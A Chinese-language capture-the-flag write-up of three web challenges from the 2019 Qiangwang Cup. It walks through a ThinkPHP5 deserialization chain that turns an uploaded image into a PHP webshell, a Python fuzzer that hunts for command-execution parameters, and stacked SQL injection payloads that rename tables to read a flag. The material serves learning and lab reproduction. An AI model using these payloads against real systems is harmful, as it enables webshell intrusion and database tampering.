2019 第三屆強網杯線上賽部分web復現

0x00前言

週末打了強網杯,隊伍只做得出來6道簽到題,web有三道我仔細研究了但是沒有最終做出來,賽後有在羣裏看到其他師傅提供了writeup和環境復現的docker環境,於是跟着學習一波並記錄下來

 

0x01 upload

第一步掃目錄發現有備份文件

 

下載下來後大致瀏覽就清楚是thinkphp5框架,並且沒有遠程代碼執行漏洞

根據題目的數據傳輸情況,可以發現在登錄後有個user的cookie值,base64解碼後是序列化字符串

 

查看源碼,發現序列化字符串傳入的位置是在Index.php的login_check()位置

正常情況下是反序列化後是個數組,然後通過這個數組的屬性和數據庫的各個字段進行查詢驗證來返回是上傳文件與否的回顯

繼續瀏覽發現Profile.php文件中有2個模式方法,於是想到了pop鏈的構造,

但是要調用__get()需要訪問不存在的變量或者私有變量,調用__call()需要訪問不存在的方法或者私有方法

而Profile.php類中是不存在這種情況的,繼續尋找找到Register.php中的Register類的析構方法調用了check對象的index()函數

check對象的index()參數是在Profile.php中不存在的,因此思路如下

反序列化傳入一個Register對象,而Register對象的checker成員的值是Profile對象,這樣就能觸發Profile對象中的__call和__get方法了

陷入的困境:

在比賽時候做到這都還好,但是死活沒法直接代碼執行,之後還去thinkphp裏面找有沒有能夠代碼執行的pop鏈,無奈都失敗了

最重要的是我的poc把單獨的類擰出來(在windows下搭這個tp5項目數據庫添加後估計路徑有問題導致沒法正常執行)可以觸發,但是放在這個環境下運行就會出錯。

所以比賽的時候做到這裏就卡住了,也沒做出來

最後新get到的點:

後面看了師傅的writeup才發現生成反序列化的類文件需要加命令空間纔不會反序列化錯誤....(該死的thinkphp)

再者無法直接代碼執行,但是可以調用Profile類中的upload_img()可以上傳自定義文件名

仔細觀察這段代碼的邏輯

第一個判斷if($this->checker)要確保不會執行,只有checker成員不賦值

第二個判斷if(!empty($_FILE))也要確保不會執行,只需要不上傳文件請求就行

第三個判斷if($this->ext)需要執行

第三個判斷中的第一個判斷if(getimagesize($this->filename_tmp))需要執行,所有必須要保證filename_tmp的文件是個圖片馬,單純的一句話過不了這個判斷

接下來會把filename_tmp(先前傳上去的圖片馬路徑)改名成filename(新的php文件)即可

後面的update_img()就是改數據庫中的img字段的值,但其實在copy命令之後已經無關緊要了

payload如下,這裏圖片的路徑我設置的絕對路徑,相對路徑也可以

<?php

namespace app\web\controller;

class Register{
    public $checker;
    public $registed;

    public function __construct()
    {
        $this->checker=new Profile();
    }

}

class Profile{
    public $checker;
    public $filename_tmp = "/var/www/html/public/upload/e5a32351a6802ef0291ac7c4529588da/f383a31abdcf931f89bae4ab05d3e088.png";
    public $filename = "/var/www/html/public/upload/e5a32351a6802ef0291ac7c4529588da/shell.php";
    public $upload_menu = "upload_img";
    public $ext = "1";
    public $img;
    public $except = ["index" => "upload_menu"];

}

$clazz = new Register();
echo serialize($clazz);
echo "<hr>";
echo base64_encode(serialize($clazz));
?>

把結果用cookie發過去

然後找到upload目錄,已經是shell.php的模樣了,蟻劍連接即可(我的圖片馬結尾存在<導致直接在頁面執行還要查看源碼,所以就用連接器了)

 

 連接的效果

 

0x02 精明的黑客

這道題考察的是自動審計代碼的python腳本編寫能力,源碼都有3002個,每個又有好幾百行,一個個看幾乎不可能

一般的命令執行system,eval,assert,``,exec等在參數還沒傳到目標的時候就已有被賦值成空,或者存在一個根本不可能過的判斷式子

於是只有用腳本審計了,寫法是先獲取每個文件的$_GET和$_POST的參數,自定義賦值比如 echo "hello_qwb_qwb"; ,然後在本地把代碼掛上去,用requests發get或者post請求,查看有沒有"hello_qwb_qwb"的回顯,如果有那麼就是後面的參數了

emmmm.....python功力有點差,於是看看主要的函數

打開目錄獲取文件名函數:https://www.cnblogs.com/strongYaYa/p/7200357.html

獲取$_GET和$_POST的使用正則規則:https://www.liaoxuefeng.com/wiki/897692888725344/923056128128864

打開文件操作:https://www.runoob.com/python/python-files-io.html

腳本如下,單線程太慢了,這裏用了8個線程,windows的powershell跑python多線程真的不如linux

import requests
import re
import os
import urllib
import Queue
import threading

payload = 'echo "hello_qwb_qwb";'
url = 'http://127.0.0.1/qwb/src/'

def fuzz(filename):
    file = open("./src/" + filename, "r")
    #print "[*]open:" + filename
    text = file.read()
    
    getpattern = re.compile(r'\$_GET\[\'(.*)\'\]')
    get = getpattern.findall(text)
    
    postpattern = re.compile(r'\$_POST\[\'(.*)\'\]')
    post = postpattern.findall(text)

    file_url = url + filename
    for g in get:
        r = requests.get(file_url + "?" + g + "=" + urllib.quote(payload))
        if "hello_qwb_qwb" in r.text:
            print "[+]file:" + filename
            print "[+]get:" + g
            exit()

    for p in post:
        data = {p : payload}
        r = requests.post(file_url,data=data)
        if "hello_qwb_qwb" in r.text:
            print "[+]flie:" + filename
            print "[+]post:" + p
                        exit()
    print "[*]finish:" + filename        
    file.close()


class TextThread(threading.Thread):
    def __init__(self, queue):
        threading.Thread.__init__(self)
        self.__queue = queue

    def run(self):
        global text
        queue = self.__queue
        while not queue.empty():
            filename = queue.get()
            fuzz(filename)

def main():
    queue = Queue.Queue()
    for filename in os.listdir('./src'):
        queue.put(filename)

    thread_count = 8
    threads = []
    for i in range(0, thread_count):
        thread = TextThread(queue)
        thread.start()
        threads.append(thread)

    for thread in threads:
        thread.join()


if __name__=='__main__':
    main()

運行中找到目標

 

獲取flag

 

0x03 隨便注入

這道題賽後才知道是堆疊查詢,因爲平時做題沒有遇到使用multi_query()的情況,所以比賽時一直考慮有沒有什麼辦法不借助select能查到其他table的值

瞭解它的waf後我當時是絕望的

但是因爲是堆疊注入所以可以從頭開始寫sql語句

可用通過show查到數據庫,當前數據庫的表,盲注和報錯注入也可以獲取當前數據庫名是supersqli

?inject=';show databases;
?inject=';show tables;

 

 

 

可以用describe 命令查表有哪些字段

?inject=';describe tablename;

 

這裏的payload不加` 還顯示不出來,此時已經可以知道flag的位置了,但是沒辦法讀出來

這時候要把 `1919810931114514`表裏命名成當前的表名`words`,再用or '1'='1就能查到了

在php層面查詢的時候固定語句一般是 select * from words where id = $id這種,數據庫裏面的變化php是管不到的

改名在mysql中是rename,語法爲

rename table `當前表名` to `改後表名`;

但是又因爲words中是存在列id,估計查詢語句也會根據該字段進行查詢,但是裝有flag的表裏面沒有id字段,因此要用alter來添加,語法

alter table `表名` add(字段名 字段類型 NULL)        #可爲空

我們可以之前通過describe查看`words`裏面的id的字段類型,

是int,所以我們的alert可以寫成這樣

alter table `1919810931114514` add(id int NULL) 

最終的payload如下

?inject=';alter table `1919810931114514` add(id int NULL);rename table `words` to `tmp`;rename table `1919810931114514` to `words`;
#先添加一個叫id字段,可以爲空
#再把words命名成任意名字
#把`1919810931114514`命名成word

最後用' or '1'='1 顯示“當前表”的所以內容就能獲取flag

 

 

0xff結語

本次writeup就是簡單記錄下自己遇到的坑吧,文章借鑑大佬的思路,自己跟着做一遍orz

感謝師傅提供的docker項目:

https://github.com/glzjin/qwb_2019_upload

https://github.com/glzjin/qwb_2019_supersqli

https://github.com/glzjin/qwb_2019_smarthacker

以及writeup

https://www.zhaoj.in/read-5873.html?tdsourcetag=s_pcqq_aiomsg

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章